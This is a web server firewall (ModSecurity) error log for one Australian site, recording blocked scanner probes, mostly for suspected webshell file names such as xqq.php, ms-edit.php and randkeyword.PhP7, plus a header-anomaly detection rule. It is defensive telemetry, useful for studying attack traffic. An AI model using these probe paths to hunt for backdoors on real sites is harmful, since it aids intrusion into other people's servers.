[Fri Feb 27 11:54:40.784062 2026] [:error] [pid 49306:tid 49325] [client 172.190.142.176:45419] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aaEVgPnSUDZue59Px9u2mwAAAVE"]
[Fri Feb 27 11:54:43.033707 2026] [:error] [pid 62998:tid 63008] [client 172.190.142.176:46334] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/leuk.php"] [unique_id "aaEVg1QeueXZDUmoLomnAAAAAQY"]
[Fri Feb 27 11:54:44.647064 2026] [:error] [pid 52073:tid 52076] [client 172.190.142.176:7177] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaEVhIa650YPyxXVeRax4gAAAYA"]
[Fri Feb 27 11:54:47.507861 2026] [:error] [pid 56075:tid 56078] [client 172.190.142.176:46299] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaEVh8KBhrfI6KNv9Ri78wAAAAE"]
[Fri Feb 27 11:54:50.007756 2026] [:error] [pid 49306:tid 49324] [client 172.190.142.176:46938] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaEVivnSUDZue59Px9u2ugAAAVA"]
[Fri Feb 27 11:54:52.056313 2026] [:error] [pid 49306:tid 49309] [client 172.190.142.176:46974] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaEVjPnSUDZue59Px9u2xwAAAUE"]
[Fri Feb 27 11:54:53.500913 2026] [:error] [pid 49306:tid 49332] [client 172.190.142.176:6880] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "aaEVjfnSUDZue59Px9u20AAAAVg"]
[Fri Feb 27 11:55:06.025986 2026] [:error] [pid 62998:tid 63013] [client 172.190.142.176:46942] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lul.php"] [unique_id "aaEVmlQeueXZDUmoLomnJwAAAQs"]
[Fri Feb 27 11:55:11.033888 2026] [:error] [pid 52073:tid 52083] [client 172.190.142.176:45402] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lul.php"] [unique_id "aaEVn4a650YPyxXVeRayRQAAAYc"]
[Fri Feb 27 11:55:22.443120 2026] [:error] [pid 49306:tid 49320] [client 172.190.142.176:6859] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lul.php"] [unique_id "aaEVqvnSUDZue59Px9u3RQAAAUw"]
[Fri Feb 27 11:55:34.392096 2026] [:error] [pid 54231:tid 54248] [client 172.190.142.176:58334] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaEVtuTvb5AeyJCdY7Cd6AAAAE4"]
[Fri Feb 27 11:55:36.573333 2026] [:error] [pid 52073:tid 52093] [client 172.190.142.176:6882] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaEVuIa650YPyxXVeRay4QAAAZE"]
[Fri Feb 27 11:55:38.287484 2026] [:error] [pid 56075:tid 56099] [client 172.190.142.176:58348] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaEVusKBhrfI6KNv9Ri8bAAAABU"]
[Fri Feb 27 11:55:42.466825 2026] [:error] [pid 52073:tid 52094] [client 172.190.142.176:6878] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaEVvoa650YPyxXVeRay8gAAAZI"]
[Fri Feb 27 11:55:43.686673 2026] [:error] [pid 56075:tid 56081] [client 172.190.142.176:6861] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaEVv8KBhrfI6KNv9Ri8dQAAAAQ"]
[Fri Feb 27 11:55:47.054967 2026] [:error] [pid 52073:tid 52081] [client 172.190.142.176:58315] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaEVw4a650YPyxXVeRazBgAAAYU"]
[Fri Feb 27 11:55:51.913111 2026] [:error] [pid 49306:tid 49309] [client 172.190.142.176:58309] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ya.php"] [unique_id "aaEVx_nSUDZue59Px9u3qQAAAUE"]
[Fri Feb 27 11:55:52.687564 2026] [:error] [pid 56075:tid 56088] [client 172.190.142.176:58335] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ya.php"] [unique_id "aaEVyMKBhrfI6KNv9Ri8jwAAAAs"]
[Fri Feb 27 11:56:02.016401 2026] [:error] [pid 62998:tid 63019] [client 172.190.142.176:58317] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ya.php"] [unique_id "aaEV0lQeueXZDUmoLomnWgAAARE"]
[Fri Feb 27 11:56:03.895948 2026] [:error] [pid 52073:tid 52076] [client 172.190.142.176:7334] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaEV04a650YPyxXVeRazNgAAAYA"]
[Fri Feb 27 11:56:15.791901 2026] [:error] [pid 62998:tid 63005] [client 172.190.142.176:58310] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaEV31QeueXZDUmoLomneAAAAQM"]
[Fri Feb 27 11:56:25.434590 2026] [:error] [pid 56075:tid 56102] [client 172.190.142.176:56728] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaEV6cKBhrfI6KNv9Ri80gAAABg"]
[Fri Feb 27 11:56:28.184435 2026] [:error] [pid 62998:tid 63011] [client 172.190.142.176:56724] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaEV7FQeueXZDUmoLomnfgAAAQk"]
[Fri Feb 27 11:56:32.346873 2026] [:error] [pid 52073:tid 52081] [client 172.190.142.176:6956] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aaEV8Ia650YPyxXVeRaz4wAAAYU"]
[Fri Feb 27 11:56:34.532703 2026] [:error] [pid 49306:tid 49322] [client 172.190.142.176:7024] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aaEV8vnSUDZue59Px9u4bgAAAU4"]
[Fri Feb 27 11:56:38.874809 2026] [:error] [pid 49306:tid 49329] [client 172.190.142.176:6942] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aaEV9vnSUDZue59Px9u4hAAAAVU"]
[Fri Feb 27 11:56:41.272042 2026] [:error] [pid 52073:tid 52083] [client 172.190.142.176:7006] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aaEV-Ya650YPyxXVeRa0BAAAAYc"]
[Fri Feb 27 11:56:42.826899 2026] [:error] [pid 56075:tid 56090] [client 172.190.142.176:6927] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aaEV-sKBhrfI6KNv9Ri87QAAAAw"]
[Fri Feb 27 11:56:46.231446 2026] [:error] [pid 56075:tid 56099] [client 172.190.142.176:6922] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aaEV_sKBhrfI6KNv9Ri89gAAABU"]
[Fri Feb 27 11:56:47.488313 2026] [:error] [pid 52073:tid 52088] [client 172.190.142.176:6981] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aaEV_4a650YPyxXVeRa0IgAAAYw"]
[Fri Feb 27 11:56:50.419480 2026] [:error] [pid 56075:tid 56091] [client 172.190.142.176:6929] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aaEWAsKBhrfI6KNv9Ri9AwAAAA0"]
[Fri Feb 27 12:41:32.622588 2026] [:error] [pid 49306:tid 49313] [client 43.134.186.61:57920] [client 43.134.186.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaEgfPnSUDZue59Px9vlpwAAAUU"]
[Fri Feb 27 14:00:15.314960 2026] [:error] [pid 49306:tid 49326] [client 43.166.128.187:53410] [client 43.166.128.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaEy7_nSUDZue59Px9sgeAAAAVI"]
[Fri Feb 27 16:12:24.142211 2026] [:error] [pid 56075:tid 56095] [client 20.104.81.240:65241] [client 20.104.81.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFR6MKBhrfI6KNv9RgniAAAABE"]
[Fri Feb 27 16:12:25.014603 2026] [:error] [pid 62998:tid 63023] [client 20.104.81.240:65326] [client 20.104.81.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFR6VQeueXZDUmoLonthwAAARU"]
[Fri Feb 27 16:12:25.925219 2026] [:error] [pid 49306:tid 49322] [client 20.104.81.240:65231] [client 20.104.81.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFR6fnSUDZue59Px9t21wAAAU4"]
[Fri Feb 27 16:12:26.795642 2026] [:error] [pid 54231:tid 54249] [client 20.104.81.240:65324] [client 20.104.81.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFR6uTvb5AeyJCdY7DM_gAAAE8"]
[Fri Feb 27 16:30:53.217216 2026] [:error] [pid 54103:tid 54192] [client 40.80.89.74:4431] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFWPevG4MPCmE0B2sB17AAAANU"]
[Fri Feb 27 16:30:53.808022 2026] [:error] [pid 62998:tid 63019] [client 40.80.89.74:4223] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFWPVQeueXZDUmoLonwmwAAARE"]
[Fri Feb 27 16:30:54.363472 2026] [:error] [pid 62998:tid 63001] [client 40.80.89.74:4164] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFWPlQeueXZDUmoLonwnwAAAQA"]
[Fri Feb 27 16:30:54.934847 2026] [:error] [pid 49306:tid 49330] [client 40.80.89.74:4443] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFWPvnSUDZue59Px9t_BAAAAVY"]
[Fri Feb 27 16:45:06.523900 2026] [:error] [pid 54102:tid 54144] [client 43.138.68.113:42258] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaFZkni74D4fiYUm_GdJ_QAAAIA"]
[Fri Feb 27 18:05:30.060641 2026] [:error] [pid 54102:tid 54168] [client 20.104.81.240:1413] [client 20.104.81.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaFsani74D4fiYUm_GdStgAAAJc"]
[Fri Feb 27 18:05:30.907232 2026] [:error] [pid 54103:tid 54172] [client 20.104.81.240:1459] [client 20.104.81.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaFsauvG4MPCmE0B2sCDLgAAAME"]
[Fri Feb 27 18:05:31.765353 2026] [:error] [pid 54231:tid 54240] [client 20.104.81.240:1450] [client 20.104.81.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaFsa-Tvb5AeyJCdY7DfwQAAAEY"]
[Fri Feb 27 18:05:32.608114 2026] [:error] [pid 54103:tid 54176] [client 20.104.81.240:63987] [client 20.104.81.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaFsbOvG4MPCmE0B2sCDLwAAAMU"]
[Fri Feb 27 18:38:44.928032 2026] [:error] [pid 54103:tid 54185] [client 95.217.109.26:23356] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaF0NOvG4MPCmE0B2sCHLQAAAM4"]
[Fri Feb 27 18:38:47.417124 2026] [:error] [pid 49306:tid 49330] [client 95.217.109.26:3572] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaF0N_nSUDZue59Px9u_fgAAAVY"]
[Fri Feb 27 18:38:49.926192 2026] [:error] [pid 52073:tid 52080] [client 95.217.109.26:3580] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaF0OYa650YPyxXVeRbL-wAAAYQ"]
[Fri Feb 27 18:38:52.514946 2026] [:error] [pid 49306:tid 49328] [client 95.217.109.26:3586] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaF0PPnSUDZue59Px9u_hQAAAVQ"]
[Fri Feb 27 18:38:55.158343 2026] [:error] [pid 52073:tid 52096] [client 95.217.109.26:3588] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaF0P4a650YPyxXVeRbMEAAAAZQ"]
[Fri Feb 27 18:38:57.620141 2026] [:error] [pid 49306:tid 49320] [client 95.217.109.26:26190] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaF0QfnSUDZue59Px9u_iAAAAUw"]
[Fri Feb 27 18:56:24.808849 2026] [:error] [pid 54103:tid 54189] [client 43.167.236.228:36616] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaF4WOvG4MPCmE0B2sCJgwAAANI"]
